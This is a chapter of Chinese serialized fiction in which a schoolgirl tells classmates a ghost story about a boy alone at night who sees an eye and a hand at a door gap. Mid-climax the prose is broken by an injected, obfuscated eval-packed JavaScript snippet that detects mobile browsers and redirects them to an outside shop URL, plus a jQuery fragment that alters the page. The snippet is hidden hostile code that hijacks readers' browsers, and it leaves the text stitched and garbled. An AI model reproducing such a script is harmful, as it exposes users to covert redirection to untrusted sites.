阒篇第三则门缝
“今天一定要讲恐怖故事。”
西西刚坐下就宣布。
“不要再讲花了，也不要讲什么会吃东西的岛。”
糖糖立刻反驳：“我觉得岛很好看啊。”
“可是不可怕。”
“那你想听什么？”
西西看向里奈。
“真的会让我晚上不敢睡觉的那种。”
里奈正在翻笔记本，听见这句话，动作停了一下。
“你确定？”
“确定。”
“晚上不敢一个人去厕所？”
“……这个不用太恐怖。”
“那就是想听，但是又怕。”
西西被说中了，脸有些红。
“反正今天我要听鬼故事。”
里奈没有再逗她。
她把笔记本翻到新的一页。
“那今天讲一个小男孩。”
安安问：“几岁？”
“十岁。”
“他怕鬼吗？”
里奈想了想。
“他自己觉得不怕。”
她抬起眼睛，看了一眼坐在旁边的张小凯。
“至少那天晚上以前，他一直这么觉得。”
＊＊＊
小男孩叫周航，今年十岁。
他和妈妈住在一座并不算大的城市里，爸爸在另外一座城市工作，通常只有周末才能回来。有时候工作太忙，连续两三个星期都见不到人。
周航已经习惯了。
他习惯晚上一个人坐在客厅里写作业，习惯爸爸从手机里传来的声音，习惯妈妈一个人照顾整个家，也习惯了每天睡觉之前，妈妈坐在床边给他讲几分钟故事。
故事通常都不长。
有时候是童话，有时候是妈妈小时候听过的民间故事，有时候妈妈实在太累了，讲着讲着自己就先睡着了。
周航便会偷偷笑她。
“妈妈。”
“嗯……”
“你睡着了。”
“没有。”
“你都打呼噜了。”
“妈妈没有。”
然后两个人一起笑。
所以周航其实从来没有真正一个人睡过。
直到那一天。
外婆突然生病了。
妈妈接到电话以后，在客厅里站了很久。
“我要回去看看外婆。”
她一边收拾衣服，一边对周航说。
“爸爸什么时候回来？”
“最早也要后天。”
周航想了一会儿。
“那我一个人在家？”
妈妈回过头。
“害怕吗？”
周航挺起胸膛。
“我十岁了。”
妈妈笑了。
“十岁就不怕了？”
“当然。”
“那你敢不敢自己睡？”
“敢。”
他说得很快。
甚至有点故意说得很大声。
妈妈看着他，最后还是走过来摸了摸他的头。
“好，我们小航长大了。”
她又检查了一遍门窗、电闸和煤气。
临走之前，妈妈站在周航房间门口，忽然皱起眉。
“这个门怎么还是关不严？”
周航抬头看了一眼。
他的房门确实一直有点问题。
门锁没有坏，但门框好像有些变形，无论怎么关，门都会留下很窄的一条缝。
平时妈妈在家，周航根本不会注意。
“明天让爸爸回来修。”
妈妈说。
“好。”
妈妈又想起什么似的，从门边探进头来。
“今天要不要我给你讲故事？”
周航赶紧摇头。
“不要，我又不是小孩子。”
妈妈笑了。
“那好。”
她走到门口。
“晚上自己睡。”
“嗯。”
“真的不怕？”
“真的。”
妈妈关上门。
门没有完全关严。
留下一条细细的缝。
＊＊＊
晚上九点多，周航一个人坐在客厅里看电视。
电视的声音开得不大。
房间里的灯都亮着。
冰箱偶尔发出嗡的一声，窗外有汽车驶过，车灯从窗帘缝隙里扫进来，很快又消失。
一切都和平时没有什么区别。
他甚至觉得一个人在家挺好的。
没有人催他洗澡。
没有人提醒他少看电视。
也没有人叫他早点睡。
他吃完最后一块饼干，把包装纸揉成一团，准确地扔进垃圾桶。
“一个人也没什么嘛。”
他说。
没有人回答。
他又看了一会儿电视。
十点多的时候，他关掉电视，回房间刷了一会儿漫画。
房门依然没有关严。
那条缝黑黑的，像是有人站在外面的走廊上。
周航看了一眼。
又看了一眼。
然后把被子拉过来。
“有什么好怕的。”
他关掉灯。
房间一下安静下来。
＊＊＊
凌晨两点十七分。
周航突然醒了。
他迷迷糊糊地睁开眼睛。
第一反应是：
想上厕所。
他坐起来。
房间里很黑。
窗帘没有完全拉严，外面的路灯从缝隙里透进来，在地板上留下很淡的一条灰白色光带。
他看向门。
门还是没有关严。
那条缝比睡觉以前看起来更黑。
周航没有多想。
他伸手打开床头灯。
“啪。”
暖黄色的灯光亮起来。
他穿上拖鞋。
打开房门。
走廊里没有开灯。
厕所就在几步之外。
可不知道为什么，刚才还觉得没什么的房子，在凌晨两点十七分突然变得很陌生。
冰箱的声音变得很远。
水管里传来“滴答”一声。
周航停了一下。
又是一声。
滴答。
“水龙头没关？”
他小声说。
没有人回答。
他赶紧进厕所。
灯亮起来。
白色的瓷砖在半夜显得格外刺眼。
他迅速解决完，洗了手。
关灯。
走出来。
然后他忽然站住了。
客厅一片漆黑。
厨房一片漆黑。
走廊尽头也是黑的。
只有他的房间门口，还留着一点床头灯透出来的光。
那一点光很小。
像黑暗里的一只眼睛。
周航咽了口唾沫。
他突然有点后悔没有把走廊灯打开。
可现在再回去开灯，好像更可怕。
于是他低下头。
跑。
拖鞋在地板上发出啪嗒啪嗒的声音。
一步。
两步。
三步。
他冲进自己的房间。
“砰。”
关上门。
然后马上意识到——
门没有关上。
那条熟悉的缝，又出现了。
周航站在床边。
胸口还在剧烈地起伏。
他看着那条缝。
“没事。”
他小声说。
“只是门坏了。”
他走过去，伸手把门往里推。
门合上了一点。
可是就在即将完全关上的时候，门框里发出一声轻微的摩擦。
吱——
门停住了。
还是留了一条缝。
周航用力。
门纹丝不动。
他又推了一下。
还是不动。
“明天一定让爸爸修。”
他说。
然后迅速回到床上。
＊＊＊
他打开床头灯。
把被子盖到胸口。
看着天花板
但他的视线总是不由自主地飘向门。
那条缝。
只有一点点。
黑色。
安静。
什么都没有。
周航盯了一会儿。
觉得自己刚才真的太紧张了。
于是他转过身。
看向窗户方向。
过了几秒。
又转回来。
门缝还在那里。
他松了一口气。
“看吧。”
他小声说。
“什么都没有。”
周航忽然听见一个声音。
咔。
像是什么东西轻轻碰了一下门。
他整个人僵住。
周航盯着门。
没有动。
几秒钟以后。
什么都没有发生。
他慢慢吐出一口气。
“可能是风。”
可是窗户关着。
他知道。
又过了一会儿。
门外传来声音。
很轻。
像脚步。
嗒。
停一下。
嗒。
又一下。
周航的手慢慢抓紧被子。
脚步声没有继续。
他等了很久。
终于安慰自己：
“可能是楼上。”
然后他忽然想起来。
楼上今天没有人住。
那套房子已经空了很久。
周航的喉咙一下发紧。
他不敢再想。
房间里只剩下床头灯的光亮。
“啊？”
周航坐起来。
但床头灯却一闪一闪的，如同断触一般，可是插头却连接的好好的。
然后彻底熄灭。
整个房间安静下来，只剩下从窗帘里透进来的一点点夜晚的亮光。
周航不敢去碰床头灯，似乎任何一个动作都会导致事情朝向不可思议的方向发展。
房间里安静得让人能够听见自己的呼吸。
还有——
门外。
滴答。
水声。
周航看向门。
门缝还是那么窄。
可是他忽然觉得……
好像比刚才宽了一点。
他眨了一下眼睛。
再看。
还是那样。
一定是看错了。
他把被子拉高。
闭上眼睛。
不看。
只要不看，就什么都没有。
他在心里数数。
一。
二。
三。
四。
五。
……
可是数到十七的时候，他听见了一个声音。
很轻。
像有人把手掌贴在门板上。
沙。
然后慢慢往下滑。
周航猛地睁开眼睛。
门缝里什么都没有。
他盯着那里。
几秒。
十几秒。
一分钟。
什么都没有。
他开始觉得自己刚才听错了。
就在他准备重新闭眼的时候——
门缝里忽然出现了一点光。
非常微弱。
像是什么东西反射了一下。
周航的心脏突然狠狠跳了一下。
他坐起来。
那不是光。
那是一个东西。
圆的。
亮的。
藏在门缝后面。
周航不敢呼吸。
他慢慢往前挪了一点。
然后看见了。
一只眼睛。
一只眼睛正贴在门缝外面。
没有眨。
就那样安静地看着他。
周航的大脑一下变得空白。
他想尖叫。
可是喉咙里发不出声音。
那只眼睛仍然看着他。
然后——
慢慢地向下移动。
消失了。
周航终于开始哭。
他想跑去妈妈的房间。
可是妈妈不在。
他想跑到门口。
可是门就在眼前。
而门外……
有东西。
他不敢动。
不敢呼吸。
不敢闭眼。
可是闭上眼睛也没有用。
因为他已经知道门外有什么。
他把被子抱在怀里。
小声地说：
“妈妈……”
没有回答。
他又说：
“妈妈……”
还是没有回答。
就在这时——
门缝下面伸进来了一根手指。
很慢。
一点一点。
先是指尖。
然后是第二根。
第三根。
那只手白得不像人的手，指甲很长，在床头灯下泛着一点灰白色的光。
周航终于哭出了声音。
他猛地闭上眼睛。
把头埋进被子里。
“不是……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926017|213529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“不是……”
“我没有看见……”
“我什么都没有看见……”
他不停地重复。
门外却传来了一声轻轻的笑。
很近。
近得像有人正趴在门外，把嘴贴在门缝上。
周航的身体开始发抖。
他不敢睁眼。
时间像停住了。
一分钟。
两分钟。
五分钟。
他甚至不知道自己究竟等了多久。
后来，门外一点声音都没有了。
周航慢慢从被子里露出眼睛。
门缝还在那里。
那只手不见了。
那只眼睛也不见了。
什么都没有。
他甚至开始怀疑刚才是不是自己做了一个梦。
然后——
门外传来妈妈的声音。
“周航。”
周航整个人僵住。
那是妈妈的声音。
“开门。”
周航看着门。
眼泪还挂在脸上。
“妈妈？”
门外没有回答。
过了几秒。
那个声音又响起来。
“周航。”
“妈妈在这里。”
周航慢慢下床。
一步。
一步。
他走到门前。
手伸向门把手。
就在即将碰到的时候，他突然停住。
因为他想起了妈妈临走前说过的话。
“晚上自己睡。”
“我今晚不回来。”
周航站在那里。
脸色一点一点变白。
门外安静下来。
然后——
咔。
门把手动了一下。
周航猛地后退。
门缝开始一点一点变宽。
一厘米。
两厘米。
三厘米。
那片黑暗从门外挤进来。
周航死死盯着那里。
他看见了那只眼睛。
又看见了那只手。
然后——
门突然停止了。
整个房间陷入死一般的安静。
周航以为结束了。
就在这时。
门外传来一声极轻的呼吸。
呼——
然后——
啪！
门被猛地打开了。
＊＊＊
教室里安静了几秒。
没有人说话。
西西原本还趴在桌边，此刻整个人已经坐直了。她睁大眼睛看着里奈，像是还没有从最后那一下门响里反应过来。
糖糖最先开口。
“……然后呢？”
里奈合上笔记本。
“没有了。”
“啊？”
“讲完了。”
糖糖的脸一下垮了下来。
“就这样？”
里奈点点头。
“就这样。”
安安沉默了一会儿，小声问：“那个门外的东西到底是什么？”
“我不知道。”
“那小男孩呢？”
“也不知道。”
“那门打开以后看见什么了？”
“故事结束了。”
西西终于忍不住了。
“你故意的吧？”
里奈抬起头。
“什么？”
“你明明知道我们最想知道门打开以后是什么！”
里奈笑了笑。
“所以才停在这里。”
西西瞪着她。
“这比鬼直接出来还可怕。”
旁边几个一直听到最后的同学也开始议论起来。
“如果是我的话，我绝对不敢一个人睡。”
“我也是。”
“可是他妈妈真的不在家啊。”
“那门外到底是不是他妈妈？”
“肯定不是。”
“万一就是呢？”
“你是不是傻？”
几个声音交错在一起。
糖糖已经开始低头检查自己的课桌。
“我今天晚上不敢一个人睡了。”
安安看了她一眼。
“为什么？”
“因为我家我的房门也关不严。”
安安愣了一下。
糖糖的脸慢慢变白。
“你别说了。”
西西却没有笑。
她盯着里奈看了一会儿，忽然问：
“里奈。”
“嗯？”
“你是不是故意挑这种地方吓人的？”
“什么地方？”
“门缝。”
里奈想了想。
“因为门缝里面什么都可能有啊。”
西西的表情更加难看。
“你别说了。”
这一次，连张小凯都忍不住笑了一声。
西西立刻回头。
“你还笑？”
张小凯赶紧低下头。
“没有。”
“你刚才明明笑了。”
“我没笑。”
“你就是笑了。”
教室里终于又有了声音。
刚才凝固的空气慢慢散开，几个孩子开始互相讲自己小时候害怕过的事情，有人说自己半夜听见过脚步声，有人说家里的衣柜门会自己打开，还有人坚持说自己见过窗户外面有一张脸。
当然，没有人能够证明这些事情是真的。
里奈坐在自己的位置上，没有加入他们的讨论。
她只是低头把刚才讲过的故事重新写在笔记本上。
写到最后，她停了一下。
然后在纸页最下面，很轻地写了一行字：
“门打开以后，没有人知道里面有什么。”
她看着那句话看了几秒。
随后合上笔记本。
上课铃响了。
西西回到自己的座位，经过里奈身边的时候，忽然停下来。
“里奈。”
“嗯？”
“明天不要讲这种了。”
里奈抬起头。
“你不是说想听恐怖故事吗？”
西西沉默了一会儿。
“……我改变主意了。”
里奈笑了。
“好。”
她答应得很快。
可第二天午休的时候，西西还是第一个跑到了里奈的桌子旁边。
“今天能再讲恐怖故事吗？”
里奈抬头看着她。
“不是说不听了吗？”
西西别过脸。
“我只是……想知道你有没有比昨天更可怕的。”
这一次，连里奈都笑了。